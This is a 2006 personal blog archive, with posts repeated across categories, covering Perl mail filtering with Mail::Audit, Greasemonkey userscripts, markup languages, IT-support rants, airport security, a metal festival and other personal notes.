My basic backup and filtering still applies, but now I've added the nice feature of informing users (once, thanks to Mail::Audit::KillDups) that I will not reply their mails for they use Google servers. It's really quite lame and easy to implement:

foreach my $h ($mail->received) {
   $google++ if($h =~ /google\.com/);
}
#...
$mail->reply(body=>$msg) 
   if not $mail->killdups($mail->from);

Now we can even report the number of google servers their mail passed ;-)

Also I now started using the Little Brother's Database for address book populating method. All incoming mails will be scanned and email addresses will be added to my addressbook. Exactly what I need (thanks Mark!).

And of course I can now easily strip attachments and dump them on my filesystem somewhere for later reference.

How I love the power of Perl (and the community)!

Posted by: B10m | permanent link | comments (0)

Procmail is dead, long live Mail::Audit!

2006/08/29 filed under /perl

The all feared and loathed procmail is finally history on my system. As usual, I check things out way too late, but now felt the urge to really take a look at Mail::Audit.

I've seen that module run on Perlmonk and was surprised by the ease of use. Within a few minutes, I converted my obscure procmail recipes and added some stuff I always wanted.

My basic backup and filtering still applies, but now I've added the nice feature of informing users (once, thanks to Mail::Audit::KillDups) that I will not reply their mails for they use Google servers. It's really quite lame and easy to implement:

foreach my $h ($mail->received) {
   $google++ if($h =~ /google\.com/);
}
#...
$mail->reply(body=>$msg) 
   if not $mail->killdups($mail->from);

Now we can even report the number of google servers their mail passed ;-)

Also I now started using the Little Brother's Database for address book populating method. All incoming mails will be scanned and email addresses will be added to my addressbook. Exactly what I need (thanks Mark!).

And of course I can now easily strip attachments and dump them on my filesystem somewhere for later reference.

How I love the power of Perl (and the community)!

Posted by: B10m | permanent link | comments (0)

Yahoo UI

2006/08/29 filed under /web

People who know me, know that I have praised Yahoo! in the past, especially after the rise of the evil digital empire.

Love it or hate it, Yahoo! released their User Interface Library (yui) some time ago and I finally looked at it.

People who mess with prototype, script.aculo.us, and other slick JavaScript libraries really should have a look at this yui. The documentation could be a little better, yet they provide basic examples for most thingies, and there's a terrific blog (by Jack Slocum). This blog shows you more examples and offers extensions to the library.

The Yahoo! User Interface Library is released as open source under a BSD license (sweet) and free for all to use (sweet too).

Expect some of this eye-candy in my upcoming scripts/websites!

Posted by: B10m | permanent link | comments (0)

Error messages exist for a reason

2006/08/24 filed under /random_thoughts

I probably blogged about this before, and people around me have heard my rants on this many times before, yet I feel the urge to blog on this now: ignorant l-users.

For some reason, a lot of people think error messages exist only for one reason, to annoy them. Popups, other error messages, not relevant, just call B10m, he knows/should know everything.

A lot of times, I receive e-mails telling me that the email is not working. After many times, I refrain from replying "it seems to work rather well, I got your message". Those senders usually mean that some email got bounced. So of course I ask them why and they usually respond with something like: "That's what I would like to know".

So I start explaining that if they received a message claiming the delivery failed, it most likely also tells them the reason for this. Either some zealous spam filter, blacklist, or the recipient's mailbox is full (yes, that still exists too). Anyways, in 99% of the cases, it will tell you why the delivery failed and if you're lucky it even provides you with a link that explains it in more detail.

But of course they deleted that bounce report and I have to start guessing what went wrong. The tea prices on the Chinese export market, alignment of certain planets, any BOFH excuse ... it really can be anything.

Or, like I noticed today, someone claimed to get an Internal Server Error and was friendly enough to pass it on to a coworker. He forwarded it to me with the question: "What is he doing wrong?".

I have to admit, the 500 Internal Server Error isn't too descriptive to the end user, yet the least you could do is tell me when this happened, and what caused this behavior. Makes debugging and going through logfiles a lot easier. But of course, I should have known exactly what the guy did wrong...

Or what about a broken laptop? I received a phone call from someone, who told me the laptop was hanging. Rebooting didn't help, it kept on hanging. During the booting, some text was displayed, but it would hang again after that. "What the text said? Oh I don't know!"

"B10m! This stupid program isn't working! What should I do now?" For some reason, some people think that I am watching their screens constantly, which is -of course- not true. I watch it sometimes, but not constantly ;-) So, I walk over there to check out what's going on. "Please replicate that error, so I can see what's going on". And before you know it, I see an error popup, but within 10 microseconds it was gone again. "Let's try again, and try to click that OK button with a little delay, so maybe I can read parts of it this time".

Computer users please remember a few things before you call your local victimcomputer guy:

  • We are not watching your screen so we have no clue what you're doing
  • We usually do not know what you want a program to do
  • We do not like spending evenings, even weekends on your problem
  • We don't ask you to paint our house for free either
  • We do have other (useless) things to do besides fixing your stuff
  • We do like you to search online for a solution
  • We do like to hear what the error message said, even though we know you couldn't care less
Posted by: B10m | permanent link | comments (3)

HTML sucks

2006/08/14 filed under /web

The title of this entry might seem a little blunt, yet it is how I feel at the moment. I always loved HTML and often even spent a lot of time to check out W3C to keep up to date.

The reason I dislike it is fairly simple: too much typing.

I know, I can use products such as Dreamweaver, or FrontPage, or way too many other WYSIWYG editors to avoid typing, yet I never really gotten to like them either (and yes, I do realize they don't produce the crap output that they used to do anymore). And, it doesn't solve the real problem here, that it's fairly unreadable.

Let's look at an example. For instance, when I want to emphasize something, I would use <em>something</em>. It takes me nine characters to make your browser understand that I want to put emphasis on one word.

Most browser will use italics for that emphasis. Now if I'd use POD, I'd type I<something>, a lot shorter, with the same result.

Because I'm obviously not the only one who is lazy enough to dislike all the typing/reading, people started coming up with other methods to generate ugly HTML out of more readable, workable, editable markup languages.

Currently, Textile seems to be my favorite, and I'm happy to type my blog entry in that right now. But a very reasonable other markup language is Markdown.

In Textile, I'd type _something_ to put emphasis on something, and Markdown would accept *something* and also the Textile approach. That is a hell of a lot easier to type and a hell of a lot easier to read!

Now why do we really want to use (X)HTML? Probably because changing the HTML standard would involve a lot of problems and frankly, I'm not perfectly happy with either Textile, Markdown, POD or any other markup language for that matter ;-)

Oh well, by now you should understand that I just had to write (and format) a document in HTML, which I thought would be small enough to hack directly in HTML, but turned out too big that I wish I started in Textile...

Posted by: B10m | permanent link | comments (0)

HTML sucks

2006/08/14 filed under /random_thoughts

The title of this entry might seem a little blunt, yet it is how I feel at the moment. I always loved HTML and often even spent a lot of time to check out W3C to keep up to date.

The reason I dislike it is fairly simple: too much typing.

I know, I can use products such as Dreamweaver, or FrontPage, or way too many other WYSIWYG editors to avoid typing, yet I never really gotten to like them either (and yes, I do realize they don't produce the crap output that they used to do anymore). And, it doesn't solve the real problem here, that it's fairly unreadable.

Let's look at an example. For instance, when I want to emphasize something, I would use <em>something</em>. It takes me nine characters to make your browser understand that I want to put emphasis on one word.

Most browser will use italics for that emphasis. Now if I'd use POD, I'd type I<something>, a lot shorter, with the same result.

Because I'm obviously not the only one who is lazy enough to dislike all the typing/reading, people started coming up with other methods to generate ugly HTML out of more readable, workable, editable markup languages.

Currently, Textile seems to be my favorite, and I'm happy to type my blog entry in that right now. But a very reasonable other markup language is Markdown.

In Textile, I'd type _something_ to put emphasis on something, and Markdown would accept *something* and also the Textile approach. That is a hell of a lot easier to type and a hell of a lot easier to read!

Now why do we really want to use (X)HTML? Probably because changing the HTML standard would involve a lot of problems and frankly, I'm not perfectly happy with either Textile, Markdown, POD or any other markup language for that matter ;-)

Oh well, by now you should understand that I just had to write (and format) a document in HTML, which I thought would be small enough to hack directly in HTML, but turned out too big that I wish I started in Textile...

Posted by: B10m | permanent link | comments (1)

Terror threat

2006/08/11 filed under /news

Still it surprises me, but somehow the terrorist threat news of yesterday still isn't known by some people (yes, I did ask them what happened to their television, radio, newspapers and Internet connection).

Anyways, it seems like mentioning the word terrorist sparks of the great insanity that security officials seem to possess. No more hand luggage and yes, fluids are illegal, but if those fluids are so dangerous, why would you combine them all?

I'm getting so tired of these security measures. Somehow no one can imagine that bare hands are more than enough to kill and overpower pilots? There are a lot of ordinary items that can be lethal (shoe laces, hands, boots, glasses (think: Godfather) and so on...). But at least fluids are now seen as a major threat. What's next? Handcuff every passenger and tape them to the seats? Thank you for flying Con-Air.

Then I noticed that Acme::Terror::UK got updated and I thought it was time to bring the world Acme::Terror::NL to protect us all from evil.

At least the terrorist had quite a good victory yesterday. The European skies were disrupted and many, many passengers were stranded. And of course, we all fear those horrible terrorists now again... Let's invade a country now, or at least free a few trillion dollars for The War on Terror, for now we know it works!

Posted by: B10m | permanent link | comments (0)

Terror threat

2006/08/11 filed under /random_thoughts

Still it surprises me, but somehow the terrorist threat news of yesterday still isn't known by some people (yes, I did ask them what happened to their television, radio, newspapers and Internet connection).

Anyways, it seems like mentioning the word terrorist sparks of the great insanity that security officials seem to possess. No more hand luggage and yes, fluids are illegal, but if those fluids are so dangerous, why would you combine them all?

I'm getting so tired of these security measures. Somehow no one can imagine that bare hands are more than enough to kill and overpower pilots? There are a lot of ordinary items that can be lethal (shoe laces, hands, boots, glasses (think: Godfather) and so on...). But at least fluids are now seen as a major threat. What's next? Handcuff every passenger and tape them to the seats? Thank you for flying Con-Air.

Then I noticed that Acme::Terror::UK got updated and I thought it was time to bring the world Acme::Terror::NL to protect us all from evil.

At least the terrorist had quite a good victory yesterday. The European skies were disrupted and many, many passengers were stranded. And of course, we all fear those horrible terrorists now again... Let's invade a country now, or at least free a few trillion dollars for The War on Terror, for now we know it works!

Posted by: B10m | permanent link | comments (3)

Terror threat

2006/08/11 filed under /perl

Still it surprises me, but somehow the terrorist threat news of yesterday still isn't known by some people (yes, I did ask them what happened to their television, radio, newspapers and Internet connection).

Anyways, it seems like mentioning the word terrorist sparks of the great insanity that security officials seem to possess. No more hand luggage and yes, fluids are illegal, but if those fluids are so dangerous, why would you combine them all?

I'm getting so tired of these security measures. Somehow no one can imagine that bare hands are more than enough to kill and overpower pilots? There are a lot of ordinary items that can be lethal (shoe laces, hands, boots, glasses (think: Godfather) and so on...). But at least fluids are now seen as a major threat. What's next? Handcuff every passenger and tape them to the seats? Thank you for flying Con-Air.

Then I noticed that Acme::Terror::UK got updated and I thought it was time to bring the world Acme::Terror::NL to protect us all from evil.

At least the terrorist had quite a good victory yesterday. The European skies were disrupted and many, many passengers were stranded. And of course, we all fear those horrible terrorists now again... Let's invade a country now, or at least free a few trillion dollars for The War on Terror, for now we know it works!

Posted by: B10m | permanent link | comments (0)

W:O:A 2006

2006/08/07 filed under /metal

I survived Wacken Open Air 2006!

Yep, August 3rd to August 5th were party time in Wacken, Germany again. And since it's almost a tradition, we went there again. The lineup didn't excite me like previous year, but it obviously did a lot of other metal fans, for this year, the festival was sold out and we could see that from the moment we arrived in the village. It was crowded!

The bands on the bill weren't all too exciting; I mean, why the hell would we want to watch The Scorpions? And what's up with Children of BoreBodom? Do the sleep there? Do we really have to see them every year?

Luckily there were bands that I wanted to see, like Ministry, Finntroll, Bloodthorn, Opeth, Emperor, and Vreid.

Only two bands really got my attention though, Ministry and Vreid the rest (especially Finntroll) were disappointing.

But oh well, it was fun (and hot!) nevertheless. Only slightly less than a year to go to Wacken 2007!

Posted by: B10m | permanent link | comments (0)

W:O:A 2006

2006/08/07 filed under /personal

I survived Wacken Open Air 2006!

Yep, August 3rd to August 5th were party time in Wacken, Germany again. And since it's almost a tradition, we went there again. The lineup didn't excite me like previous year, but it obviously did a lot of other metal fans, for this year, the festival was sold out and we could see that from the moment we arrived in the village. It was crowded!

The bands on the bill weren't all too exciting; I mean, why the hell would we want to watch The Scorpions? And what's up with Children of BoreBodom? Do the sleep there? Do we really have to see them every year?

Luckily there were bands that I wanted to see, like Ministry, Finntroll, Bloodthorn, Opeth, Emperor, and Vreid.

Only two bands really got my attention though, Ministry and Vreid the rest (especially Finntroll) were disappointing.

But oh well, it was fun (and hot!) nevertheless. Only slightly less than a year to go to Wacken 2007!

Posted by: B10m | permanent link | comments (0)

BoK Worthwhile

2006/07/28 filed under /software

Sometimes you get bored and want to read some semi-interesting blog entries. Unfortunately, BoK's Blog isn't too interesting, so I decided to make it a little nicer for him.

My new Greasemonkey userscript, titled BoK Worthwhile, grabs a random LiveJournal entry and adds it on BoK's blog.

Now we have something interesting to read!

Update: here's a screenshot (the top post is the random LJ post, not BoK's):

NB: BoK, I was just bored and wanted to check out the AJAX possibilities in Greasemonkey user scripts ;-)

Posted by: B10m | permanent link | comments (0)

BoK Worthwhile

2006/07/28 filed under /web

Sometimes you get bored and want to read some semi-interesting blog entries. Unfortunately, BoK's Blog isn't too interesting, so I decided to make it a little nicer for him.

My new Greasemonkey userscript, titled BoK Worthwhile, grabs a random LiveJournal entry and adds it on BoK's blog.

Now we have something interesting to read!

Update: here's a screenshot (the top post is the random LJ post, not BoK's):

NB: BoK, I was just bored and wanted to check out the AJAX possibilities in Greasemonkey user scripts ;-)

Posted by: B10m | permanent link | comments (3)

PrEmail, Greasemonkey script

2006/07/27 filed under /software

Greasemonkey is still cool, yet I haven't really paid attention to it lately.

Today I checked my account at userscripts.org and started browsing for new scripts. I came across Dont Require Email. The description of that script says:

Pre-fill a fake email address on WordPress / MT / TypePad comment forms

Fun, yet not good enough ;-) So I came up with PrEmail which takes "Dont Require Email" a little step further. Instead of limiting email fields in WordPress, MT and TypePad, my script "works" with all forms and fills in your email address like "user+domain@my.doma.in", so if my email address was bill@microsoft.com, filling out my comment form would give you "bill+menno.b10m.net@microsoft.com". Exactly what I need.

Go install it and test it at the test page

Posted by: B10m | permanent link | comments (0)

PrEmail, Greasemonkey script

2006/07/27 filed under /web

Greasemonkey is still cool, yet I haven't really paid attention to it lately.

Today I checked my account at userscripts.org and started browsing for new scripts. I came across Dont Require Email. The description of that script says:

Pre-fill a fake email address on WordPress / MT / TypePad comment forms

Fun, yet not good enough ;-) So I came up with PrEmail which takes "Dont Require Email" a little step further. Instead of limiting email fields in WordPress, MT and TypePad, my script "works" with all forms and fills in your email address like "user+domain@my.doma.in", so if my email address was bill@microsoft.com, filling out my comment form would give you "bill+menno.b10m.net@microsoft.com". Exactly what I need.

Go install it and test it at the test page

Posted by: B10m | permanent link | comments (0)

Bahasa Indonesia

2006/07/25 filed under /personal

Today I received my "student card" for the new course I'll be following soon: Bahasa Indonesia (the Indonesian Language).

I promised my in-laws that I'd be speaking the language by the time I returned to Indonesia, so this is my first step. It is supposed to be a fairly easy language to learn, so let's hope I can do it (hey, I can read and understand Perl, so Bahasa Indonesia shouldn't be too hard ;-)

Finally a real reason to use Joffie's Learning words the nerdy way! (Terima kasih, Joffie!)

Posted by: B10m | permanent link | comments (0)

Insipid with Firefox

2006/07/24 filed under /software

In the past, I have praised Insipid already. It's a beautiful system to store your bookmarks in. The authors claim it's close to del.icio.us, yet I disagree, this is better ;-)

A little while ago, a new version came out, together with the Firefox extension and of course I had to check that out. Last night, I finally found time to do so and I must say I should've done it faster. The Firefox integration is just beautiful and awesome. No more need for bookmarklets!

Posted by: B10m | permanent link | comments (1)

VOIP Buster

2006/07/12 filed under /web

Paying attention to the CPAN uploads RSS feed sometimes leads you to nice things.

Not too long ago, I saw VOIP::VOIPBuster come by on that feed and it got my attention. I think I've seen VoipBuster before, yet never really looked into it.

The Perl module comes with a little script, called vbcall. This little tool allows you to start (limited) free international phone calls. I've tried a few national tests and the work fairly good!

Now only if I knew someone in Andorra, I could call them. Maybe I should call random Italian people, to congratulate them with the soccer world cup?

Posted by: B10m | permanent link | comments (0)

VOIP Buster

2006/07/12 filed under /perl

Paying attention to the CPAN uploads RSS feed sometimes leads you to nice things.

Not too long ago, I saw VOIP::VOIPBuster come by on that feed and it got my attention. I think I've seen VoipBuster before, yet never really looked into it.

The Perl module comes with a little script, called vbcall. This little tool allows you to start (limited) free international phone calls. I've tried a few national tests and the work fairly good!

Now only if I knew someone in Andorra, I could call them. Maybe I should call random Italian people, to congratulate them with the soccer world cup?

Posted by: B10m | permanent link | comments (1)

Dynamic content fun

2006/07/12 filed under /news

Nu.nl is probably the best Dutch news site, and one of the reasons that I don't need a newspaper. The site is moving fast, multiple new items are added all the time, so the site is pretty dynamic.

Dynamic content can give some unexpected results, which are rather funny though. Take for instance the article about McDonalds' removal of offending urinals.

Translation:

McDonalds removes controversial urinals

HEERLEN - The McDonalds establishment at the Breukerweg in Heerlen removes the urinals that are shaped like an opened female mouth. That happened after complaints of a shocked American to the Executive Board of the fastfood concern about the urinals, that look like wide opened bright red lips.

Obviously, the Mick Jagger picture on the right (linking to a story on the Rolling Stones' new tour) is not the best image to put there ;-)

Posted by: B10m | permanent link | comments (0)

Dynamic content fun

2006/07/12 filed under /web

Nu.nl is probably the best Dutch news site, and one of the reasons that I don't need a newspaper. The site is moving fast, multiple new items are added all the time, so the site is pretty dynamic.

Dynamic content can give some unexpected results, which are rather funny though. Take for instance the article about McDonalds' removal of offending urinals.